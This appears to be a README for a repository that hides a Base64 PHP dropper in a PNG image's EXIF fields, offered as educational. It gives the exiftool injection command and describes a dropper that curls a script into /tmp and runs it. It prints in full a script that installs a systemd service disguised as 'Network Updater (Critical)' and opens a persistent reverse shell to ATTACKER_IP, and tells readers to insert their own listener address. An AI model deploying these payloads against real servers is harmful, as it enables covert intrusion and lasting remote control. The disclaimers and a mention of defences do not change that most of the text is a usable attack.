This project demonstrates how attackers can embed a Base64-encoded malicious payload inside the EXIF metadata of a valid .png image. Once uploaded to a vulnerable server, the image can trigger remote command execution or download further malware.
This educational repository simulates:
- A valid
stealth_shell.pngwith hidden malware in its EXIF fields. - A PHP dropper payload (
base64_php_payload.txt) that retrieves and executes a persistent backdoor. - A malicious
shell.shthat sets up a systemd-based reverse shell.
Author: BackdoorAli
For educational purposes only. Do not deploy in production or unethical environments.
| File | Description |
|---|---|
stealth_shell.png |
Image containing the Base64-encoded PHP payload injected into EXIF fields |
base64_php_payload.txt |
The actual Base64-encoded dropper PHP payload |
shell.sh |
Systemd-based reverse shell that gets downloaded and executed |
-
Image Creation
- A valid
.pngimage is prepared (e.g., a portrait of myself for this specific project - refer to my GitHub's pfp).
- A valid
-
Payload Preparation
- A PHP payload is written that:
- Uses
curlto downloadshell.sh. - Saves it to
/tmp/.m. - Makes it executable and runs it in the background.
- Uses
- A PHP payload is written that:
-
EXIF Injection
- The Base64-encoded PHP is injected into
Comment,UserComment, andSoftwareEXIF fields usingexiftool:exiftool \ -Comment="$(cat base64_php_payload.txt)" \ -UserComment="$(cat base64_php_payload.txt)" \ -Software="$(cat base64_php_payload.txt)" \ stealth_shell.png
- The Base64-encoded PHP is injected into
-
Execution (Hypothetical)
- If a vulnerable backend server extracts the EXIF metadata and passes it to something like:
eval(base64_decode($image_exif_data['Comment']));
- Then the PHP dropper is executed, downloads the backdoor, and grants persistent shell access.
- If a vulnerable backend server extracts the EXIF metadata and passes it to something like:
This script creates a persistent systemd service that launches a reverse shell to an attacker's machine.
#!/bin/bash
SERVICE_NAME="system-netupd"
SHELL_CMD="/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
cat <<EOF > /etc/systemd/system/$SERVICE_NAME.service
[Unit]
Description=Network Updater (Critical)
After=network.target
[Service]
ExecStart=$SHELL_CMD
Restart=always
Type=simple
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reexec
systemctl daemon-reload
systemctl enable $SERVICE_NAME
systemctl start $SERVICE_NAMEReplace ATTACKER_IP with your actual listener IP/port. >>> AGAIN, hypothetically! <<<
To view the injected payload:
exiftool stealth_shell.png | grep -i commentTo decode:
echo "<base64_output>" | base64 -dSee defense.md for detailed strategies on detecting and preventing EXIF-based malware delivery.
This project is for educational and research purposes only. Unauthorised deployment, testing, or use of this payload outside of a legal lab or your own system is strictly prohibited and of YOUR OWN RESPONSIBILITY.